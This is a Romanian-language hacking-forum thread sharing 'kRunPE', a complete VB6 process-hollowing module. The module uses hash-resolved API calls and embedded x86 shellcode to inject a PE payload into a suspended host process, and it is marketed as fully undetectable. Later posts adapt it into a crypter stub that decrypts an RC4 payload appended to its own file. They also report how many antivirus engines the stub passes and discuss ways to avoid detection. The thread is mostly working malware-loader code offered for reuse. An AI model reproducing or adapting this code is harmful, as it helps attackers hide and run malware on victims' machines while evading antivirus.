[VB6][FUD] kRunPE - Shortest RunPE Ever

[Nytro]

Author: Karcrack

Option Explicit
Option Base 0

'---------------------------------------------------------------------------------------
' Module    : kRunPe
' Author    : Karcrack
' Date      : 230710
' Purpose   : Shortest way to Run PE from ByteArray
'---------------------------------------------------------------------------------------

Private Type DWORD_L
    D1                          As Long
End Type

Private Type DWORD_B
    B1      As Byte:    B2      As Byte
    B3      As Byte:    B4      As Byte
End Type

'USER32
Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpCode As Long, Optional ByVal lParam1 As Long, Optional ByVal lParam2 As Long, Optional ByVal lParam3 As Long, Optional ByVal lParam4 As Long) As Long

Private bInitialized_Inv        As Boolean
Private ASM_gAPIPTR(170)        As Byte
Private ASM_cCODE(255)          As Byte

Private Const KERNEL32          As String = "KERNEL32"
Private Const NTDLL             As String = "NTDLL"

Public Function RunPE(ByRef bvBuff() As Byte, ByVal sHost As String, Optional ByVal sParams As String, Optional ByRef hProcess As Long) As Boolean
    Dim hModuleBase             As Long
    Dim hPE                     As Long
    Dim hSec                    As Long
    Dim ImageBase               As Long
    Dim i                       As Long
    Dim tSTARTUPINFO(16)        As Long
    Dim tPROCESS_INFORMATION(3) As Long
    Dim tCONTEXT(50)            As Long

    hModuleBase = VarPtr(bvBuff(0))

    If Not GetNumb(hModuleBase, 2) = &H5A4D Then Exit Function

    hPE = hModuleBase + GetNumb(hModuleBase + &H3C)

    If Not GetNumb(hPE) = &H4550 Then Exit Function

    ImageBase = GetNumb(hPE + &H34)

    tSTARTUPINFO(0) = &H44
    'CreateProcessW@KERNEL32
    Call Invoke(KERNEL32, &H16B3FE88, StrPtr(sHost), StrPtr(sParams), 0, 0, 0, &H4, 0, 0, VarPtr(tSTARTUPINFO(0)), VarPtr(tPROCESS_INFORMATION(0)))
    'NtUnmapViewOfSection@NTDLL
    Call Invoke(NTDLL, &HF21037D0, tPROCESS_INFORMATION(0), ImageBase)
    'NtAllocateVirtualMemory@NTDLL
    Call Invoke(NTDLL, &HD33BCABD, tPROCESS_INFORMATION(0), VarPtr(ImageBase), 0, VarPtr(GetNumb(hPE + &H50)), &H3000, &H40)
    'NtWriteVirtualMemory@NTDLL
    Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), ImageBase, VarPtr(bvBuff(0)), GetNumb(hPE + &H54), 0)

    For i = 0 To GetNumb(hPE + &H6, 2) - 1
        hSec = hPE + &HF8 + (&H28 * i)

        'NtWriteVirtualMemory@NTDLL
        Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), ImageBase + GetNumb(hSec + &HC), hModuleBase + GetNumb(hSec + &H14), GetNumb(hSec + &H10), 0)
    Next i

    tCONTEXT(0) = &H10007
    'NtGetContextThread@NTDLL
    Call Invoke(NTDLL, &HE935E393, tPROCESS_INFORMATION(1), VarPtr(tCONTEXT(0)))
    'NtWriteVirtualMemory@NTDLL
    Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), tCONTEXT(41) + &H8, VarPtr(ImageBase), &H4, 0)

    tCONTEXT(44) = ImageBase + GetNumb(hPE + &H28)

    'NtSetContextThread@NTDLL
    Call Invoke(NTDLL, &H6935E395, tPROCESS_INFORMATION(1), VarPtr(tCONTEXT(0)))
    'NtResumeThread@NTDLL
    Call Invoke(NTDLL, &HC54A46C8, tPROCESS_INFORMATION(1), 0)

    hProcess = tPROCESS_INFORMATION(0)
    RunPE = True
End Function

Private Function GetNumb(ByVal lPtr As Long, Optional ByVal lSize As Long = &H4) As Long
    'NtWriteVirtualMemory@NTDLL
    Call Invoke(NTDLL, &HC5108CC2, -1, VarPtr(GetNumb), lPtr, lSize, 0)
End Function

Public Function Invoke(ByVal sDLL As String, ByVal hHash As Long, ParamArray vParams() As Variant) As Long
    Dim vItem                   As Variant
    Dim bsTmp                   As DWORD_B
    Dim lAPI                    As Long
    Dim i                       As Long
    Dim w                       As Long

    If Not bInitialized_Inv Then
        For i = 0 To 170
            ASM_gAPIPTR(i) = CByte(Choose(i + 1, &HE8, &H22, &H0, &H0, &H0, &H68, &HA4, &H4E, &HE, &HEC, &H50, &HE8, &H43, &H0, &H0, &H0, &H83, &HC4, &H8, &HFF, &H74, &H24, &H4, &HFF, &HD0, &HFF, &H74, &H24, &H8, &H50, &HE8, &H30, &H0, &H0, &H0, &H83, &HC4, &H8, &HC3, &H56, &H55, &H31, &HC0, &H64, &H8B, &H70, &H30, &H8B, &H76, &HC, &H8B, &H76, &H1C, &H8B, &H6E, &H8, &H8B, &H7E, &H20, &H8B, &H36, &H38, &H47, &H18, &H75, &HF3, &H80, &H3F, &H6B, &H74, &H7, &H80, &H3F, &H4B, &H74, &H2, &HEB, &HE7, &H89, &HE8, &H5D, &H5E, &HC3, &H55, &H52, &H51, _
                            &H53, &H56, &H57, &H8B, &H6C, &H24, &H1C, &H85, &HED, &H74, &H43, &H8B, &H45, &H3C, &H8B, &H54, &H5, &H78, &H1, &HEA, &H8B, &H4A, &H18, &H8B, &H5A, &H20, &H1, &HEB, &HE3, &H30, &H49, &H8B, &H34, &H8B, &H1, &HEE, &H31, &HFF, &H31, &HC0, &HFC, &HAC, &H84, &HC0, &H74, &H7, &HC1, &HCF, &HD, &H1, &HC7, &HEB, &HF4, &H3B, &H7C, &H24, &H20, &H75, &HE1, &H8B, &H5A, &H24, &H1, &HEB, &H66, &H8B, &HC, &H4B, &H8B, &H5A, &H1C, &H1, &HEB, &H8B, &H4, &H8B, &H1, &HE8, &H5F, &H5E, &H5B, &H59, &H5A, &H5D, &HC3))
        Next i
        i = 0
        bInitialized_Inv = True
    End If

    lAPI = CallWindowProcW(VarPtr(ASM_gAPIPTR(0)), StrPtr(sDLL), hHash)

    If lAPI Then
        For w = UBound(vParams) To LBound(vParams) Step -1
            bsTmp = SliceLong(CLng(vParams(w)))
            '// PUSH ADDR
            Call PutByte(&H68, i)
            Call PutByte(bsTmp.B1, i):  Call PutByte(bsTmp.B2, i)
            Call PutByte(bsTmp.B3, i):  Call PutByte(bsTmp.B4, i)
        Next w

        bsTmp = SliceLong(lAPI)
        '// MOV EAX, ADDR
        Call PutByte(&HB8, i)
        Call PutByte(bsTmp.B1, i):  Call PutByte(bsTmp.B2, i)
        Call PutByte(bsTmp.B3, i):  Call PutByte(bsTmp.B4, i)
        '// CALL EAX
        Call PutByte(&HFF, i):      Call PutByte(&HD0, i)
        '// RET
        Call PutByte(&HC3, i)

        Invoke = CallWindowProcW(VarPtr(ASM_cCODE(0)))
    End If
End Function

Private Sub PutByte(ByVal bByte As Byte, ByRef iCounter As Long)
    ASM_cCODE(iCounter) = bByte
    iCounter = iCounter + 1
End Sub

Private Function SliceLong(ByVal lLong As Long) As DWORD_B
    Dim tL                      As DWORD_L

    tL.D1 = lLong
    LSet SliceLong = tL
End Function

Sample:

    Dim )     As Byte
    Open Environ$("WINDIR") & "\SYSTEM32\calc.exe" For Binary As #1
        ReDim x(0 To LOF(1) - 1)
        Get #1, , x
    Close #1
    Call RunPE(x, Environ$("WINDIR") & "\SYSTEM32\notepad.exe")

Stiti voi la ce se foloseste

[Usr6]

intrebare de noob:|

in cazul meu cum ar veni aplicat, tot ce am incercat era gresit

Sub Main()
Dim file As String
file = kk1 & kk2 & kk3 & kk4

Dim dat1 As String
Open file For Binary As #1
dat1 = Space(LOF(1))
Get #1, , dat1
Close 1#

Dim splitu() As String
splitu() = Split(dat1, "separator")
splitu(1) = Rc4(splitu(1), "parola")

    '   Dim )     As Byte
    '    Open Environ$("WINDIR") & "\SYSTEM32\calc.exe" For Binary As #1
    '        ReDim X(0 To LOF(1) - 1)
    '        Get #1, , X
    '    Close #1
    '    Call RunPE(X, Environ$("WINDIR") & "\SYSTEM32\notepad.exe")

Call HRSCHXC(file, StrConv(Split(1), vbFromUnicode), vbNullString)
End Sub
Function kk1() As String
kk1 = App.Path
End Function
Function kk2() As String
kk2 = "\"
End Function
Function kk3() As String
kk3 = App.EXEName
End Function
Function kk4() As String
kk4 = StrReverse("exe.")
End Function

Public Function Rc4

ms anticipat

[Nytro]

Nu stiu cum e definita la tine functia HRSCHXC, dar poti asa:

Call RunPE(StrConv(Split(1), vbFromUnicode), Environ$("WINDIR") & "\SYSTEM32\notepad.exe")

Tu ai citit datele intr-un sir de caractere, trebuie sa il convertesti la vector de Byte cu StrConv, si il transferi functiei ca parametru. Simplu

[Usr6]

ms:D

am mai avansat un pic 8/18

am trecut de :

ClamAV 29/07/2010 0.96.1

Comodo 29/07/2010 4.0

Dr.Web 29/07/2010 5.0

NOD32 29/07/2010 4.2.42.0

Panda 29/07/2010 10.0.3.0

QuickHeal 29/07/2010 11.0

Solo 29/07/2010 9.0

TrendMicro 29/07/2010 9.120-1004

VBA32 29/07/2010 3.12.12.2

VirusBuster 29/07/2010 1.5.6

Edited July 29, 2010 by Usr6

[Nytro]

Da, dar de multe ori problema e "self-reading-ul" stubului. Acele parti sunt de multe ori detectate.

[nSnoopy]

multumesc ca l-ai postat nytro o sa il folosesc la viitorul meu crypter in vb6